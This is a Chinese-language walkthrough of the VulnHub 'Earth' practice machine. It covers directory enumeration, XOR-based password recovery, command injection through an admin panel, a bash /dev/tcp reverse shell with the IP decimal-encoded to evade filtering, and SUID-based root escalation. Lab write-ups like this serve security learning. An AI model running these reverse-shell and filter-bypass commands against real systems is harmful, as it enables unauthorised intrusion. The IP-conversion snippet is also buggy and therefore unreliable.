靶机下载地址:The Planets: Earth ~ VulnHub
渗透机:kali2022
靶机:未知linux Earth
老规矩先用netdiscover -r 192.168.10.0/24扫描出靶机ip
扫描靶机
发现靶机开放了22,80,443端口,且绑定了dns信息,需要修改hosts文件才能访问,linux中hosts文件在/etc/hosts,windows在 C:\Windows\System32\drivers\etc\hosts,在文件后面加入
渗透机ip earth.local terratest.earth.local
利用dirb枚举靶机80和443的目录
dirb http://terratest.earth.local
dirb https://terratest.earth.local
依次访问枚举出来的目录发现了三个可登录目录。
在robots.txt中最后有一个/testingnotes.*,猜测这可能是txt为后缀,事实证明了我的猜想。
大概意思是他们传输密文是通过异或异或来传输的,testdata.txt是曾经是用过的密文,曾用terra作为用户名登录。
现在可以找一下testdata.txt文件,发现就在当前目录下。
前面扫描到的80端口中有传输密文的地方且传输一次就会吧秘钥的残留,所以可以用下面的三个秘钥来尝试找到用户的密码。
import binascii
key="2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
text="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
t=binascii.hexlify(text.encode()).decode()
tex=hex(int(t,16)^int(key,16))[2:]
print(binascii.unhexlify(tex))
有大量重复的earthclimatechangebad4humans,这个应该就是密码了,先前扫到了ssh端口可以尝试用这个用户和刚获得密码去尝试登录,ssh登录失败,但还有一个admin目录的地方可以登录,尝试登录。
成功后发现以个command尝试执行指令,发现可以执行。
尝试进行反弹shell,在尝试途中发现不成功,尝试ping命令发现无法执行,可能是把正常ip的数字进行了过滤可以把ip变为10进制数字来反弹shell。
开启kali的监听端口
nc -lvvp 4444
反弹shell脚本:
bash -i >& /dev/tcp/3232238306/4444 0>&1
ip转10进制:
ip='你自己ip'
c=''
ip=ip.split('.')
for i in ip:
c+=hex(int(ip))[2:].zfill(2)
print(c)
反弹成功拿到shell。
接下来查看版本内核uname -a看看内核有没有提权漏洞
searchsploit中没有5.14.9的内核提权漏洞。
查看靶机中有权限的文件
find / -perm -u=s -type f 2>/dev/null
看到可疑文件,/dev/bin/reset_root
用nc将文件传回来,用strace分析一下文件,发现有三个文件夹没有创建,所以在靶机创建这三个文件夹
在靶机执行这个文件重置root密码,发现提权失败。
传回本机利用ida逆向分析,发现重置的root密码为Earth
再次尝试,发现root密码重置成Earth,提权成功